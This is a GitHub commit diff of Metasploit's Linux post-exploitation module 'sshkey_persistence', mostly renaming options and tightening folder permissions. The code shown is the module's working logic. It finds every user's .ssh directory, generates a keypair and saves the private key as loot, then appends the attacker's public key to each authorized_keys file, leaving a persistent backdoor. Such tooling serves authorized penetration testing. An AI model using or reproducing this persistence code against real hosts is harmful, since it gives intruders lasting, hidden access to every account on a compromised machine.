Skip to content

Commit 7734279

Browse files
author
h00die
committed
round 2 of updates
1 parent f3b0fc3 commit 7734279

File tree

1 file changed

+16
-17
lines changed

1 file changed

+16
-17
lines changed

modules/post/linux/manage/sshkey_persistence.rb

Lines changed: 16 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,8 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
require 'msf/core/post/file'
6+
#require 'msf/core'
7+
#require 'msf/core/post/file'
88
require 'sshkey'
99

1010
class MetasploitModule < Msf::Post
@@ -34,16 +34,15 @@ def initialize(info = {})
3434
[ 'Automatic', {} ]
3535
],
3636
'DefaultTarget' => 0
37-
# 'DisclosureDate' => "Jul 1 2015",
3837
)
3938
)
4039

4140
register_options(
4241
[
43-
OptString.new('username', [false, 'User to add SSH key to (Default: all users on box)' ]),
44-
OptPath.new('PubKey', [false, 'Public Key File to use. (Default: Create a new one)' ]),
45-
OptString.new('sshd_config', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),
46-
OptBool.new('CreateSSHFolder', [true, 'If no .ssh folder is found, create it for a user', false ])
42+
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
43+
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
44+
OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),
45+
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
4746
], self.class
4847
)
4948
end
@@ -56,7 +55,7 @@ def run
5655
sep = "/"
5756
end
5857
print_status('Checking SSH Permissions')
59-
sshd_config = read_file(datastore['sshd_config'])
58+
sshd_config = read_file(datastore['SSHD_CONFIG'])
6059
/^PubkeyAuthentication[\s]+(?<pub_key>yes|no)/ =~ sshd_config
6160
if pub_key && pub_key == 'no'
6261
print_error('Pubkey Authentication disabled')
@@ -77,24 +76,24 @@ def run
7776

7877
auth_key_folder = auth_key_file.split('/')[0...-1].join('/')
7978
auth_key_file = auth_key_file.split('/')[-1]
80-
if datastore['username'].nil?
79+
if datastore['USERNAME'].nil?
8180
print_status("Finding #{auth_key_folder} directories")
8281
paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }
8382
else
84-
if datastore['username'] == 'root'
85-
paths = ["/#{datastore['username']}/#{auth_key_folder}"]
83+
if datastore['USERNAME'] == 'root'
84+
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
8685
else
87-
paths = ["/home/#{datastore['username']}/#{auth_key_folder}"]
86+
paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]
8887
end
8988
vprint_status("Added User SSH Path: #{paths.first}")
9089
end
9190

92-
if datastore['CreateSSHFolder'] == true
91+
if datastore['CREATESSHFOLDER'] == true
9392
vprint_status("Attempting to create ssh folders that don't exist")
9493
paths.each do |p|
9594
unless directory?(p)
96-
cmd_exec("mkdir -p #{p}")
9795
print_status("Creating #{p} folder")
96+
cmd_exec("mkdir -m 700 -p #{p}")
9897
end
9998
end
10099
end
@@ -108,21 +107,21 @@ def run
108107
end
109108

110109
def write_key(paths, auth_key_file, sep)
111-
if datastore['PubKey'].nil?
110+
if datastore['PUBKEY'].nil?
112111
key = SSHKey.generate
113112
our_pub_key = key.ssh_public_key
114113
loot_path = store_loot("id_rsa", "text/plain", session, key.private_key, "ssh_id_rsa", "OpenSSH Private Key File")
115114
print_good("Storing new private key as #{loot_path}")
116115
else
117-
our_pub_key = ::File.read(datastore['PubKey'])
116+
our_pub_key = ::File.read(datastore['PUBKEY'])
118117
end
119118
paths.each do |path|
120119
path.chomp!
121120
authorized_keys = "#{path}/#{auth_key_file}"
122121
print_status("Adding key to #{authorized_keys}")
123122
append_file(authorized_keys, "\n#{our_pub_key}")
124123
print_good("Key Added")
125-
if datastore['PubKey'].nil?
124+
if datastore['PUBKEY'].nil?
126125
path_array = path.split(sep)
127126
path_array.pop
128127
user = path_array.pop

0 commit comments

Comments
 (0)